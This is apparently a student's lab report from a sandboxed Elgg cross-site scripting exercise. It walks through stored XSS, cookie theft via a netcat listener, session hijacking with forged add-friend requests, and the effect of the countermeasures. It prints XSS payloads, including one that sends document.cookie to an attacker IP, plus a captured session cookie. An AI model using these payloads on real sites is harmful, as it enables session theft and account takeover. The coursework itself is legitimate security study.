Task 3 XSite

Note, I've included 2 .lab file here as I've messed up the first one and I restart midway (around Task 3 - 5) but I combined my findings into a single report

Task 1

- Inserted the `<script>alert('XSS');</script>` into Alice (which in this case is the attacker) brief description section. Then save it. Then Bobby (in this case the victim) visited Alice website and the alert XSS showed up.

Task 2

- Modified the script above, now prints the Elgg cookie and its value. The logic behind it is the same and Alice remains to be the Attacker and Boby is the victim.

Task 3

- After inputting the attacker website IP address `172.25.0.3` into that link and posted it on the Alice's (Attacker Profile). I ran the command `./echoserver 5555` and wait for a callback and I've obtained
- I've also obtain the same thing by using `nc -l 172.25.0.3:5555 -v`

```
GET /?c=Elgg%3Dbrpr0rb9qpm1k7hogsok8acq14 HTTP/1.1
```

- which the Cookie shown there is from Boby's browser.

Task 4

- Extending from the previous task, I copied and pasted the cookie into the java code, then obtained the `elgg_ts` and `elgg_token` by using victim's (boby) and get him go to a random (Charlie) profile. Then Add Friend button contains a src href link of an already generated a valid `elgg_ts` and `elgg_token` for us to use as those are generated by the server and not used yet. We could've also just

conduct another XSS attack to obtain this these 2 values but exploiting bad web design (inspect element) is faster then writing the XSS script. Then I add all the required header to match the required request. Then I pretend to be Alice (The attacker) and ran the Java code with Boby's Cookie. Boby added Charlie as friend despite did nothing.

```
Response Code = 200

...

<p>You have successfully added Charlie as a friend.</p>

...
```

- this was returned to the terminal. I refresh the page as Boby, and Charlie is now my friend.

Task 5

- By turning on just the HTMLawed 1.8 countermeasure, the line of code in Alice's profile which is `<script>alert(document.cookie);</script>` is executed and a line `// <![CDATA[ document.write('<img src=http://172.25.0.3:5555?c=' + escape(document.cookie) + ' >'); // ]]>` appeared in and shown underneath the profile. The script however is not displayed on the profile of Alice.
- By turning on both item, the `<script>alert(document.cookie);</script>` is displayed as a regular line in the brief description of Alice. The XSS attack also did not ran. And the remain item from previous HTMLawed 1.8 countermeasure is the same.